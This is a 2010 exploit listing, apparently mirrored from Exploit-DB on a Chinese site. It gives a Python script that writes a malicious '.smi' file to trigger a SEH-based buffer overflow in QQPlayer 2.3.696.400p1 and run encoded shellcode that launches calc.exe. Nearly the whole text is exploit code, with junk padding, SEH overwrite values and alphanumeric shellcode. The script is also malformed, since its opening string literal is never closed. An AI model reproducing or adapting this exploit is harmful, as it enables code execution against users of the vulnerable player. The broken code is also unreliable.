发布 2010-07-27 漏洞条目

QQPlayer 2.3.696.400p1 – ‘.smi’ File Buffer Overflow

Exploit Source

#!/usr/bin/env python

#################################################################

# Title: QQPlayer smi File Buffer Overflow Exploit

# Author: Lufeng Li of Neusoft Corporation

# Vendor: www.qq.com

# Platform: Windows XPSP3 Chinese Simplified

# Tested: QQPlayer 2.3.696.400p1

# Vulnerable: QQPlayer<=2.3.696.400p1

# Exploit-DB Notes: A different SEH addr might be necessary for XP SP3 ENG.

# Make sure EAX aligns to the shellcode before decoding.

# Payload=calc.exe

#################################################################

# Code :

head ='''<smil>

<head>

junk = "A" * 2001

nseh ="\x42\x61\x21\x61"

seh ="\x39\x0c\x41\x00"

adjust="\x30\x83\xc0\x0b"

shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"

"QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"

"KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"

"QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"

"TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"

"HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")

junk_="R"*8000

foot ='''"/>

</head>

<body>

<seq>

</seq>

</body>

</smil>

'''

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")

fobj.write(payload)

fobj.close()

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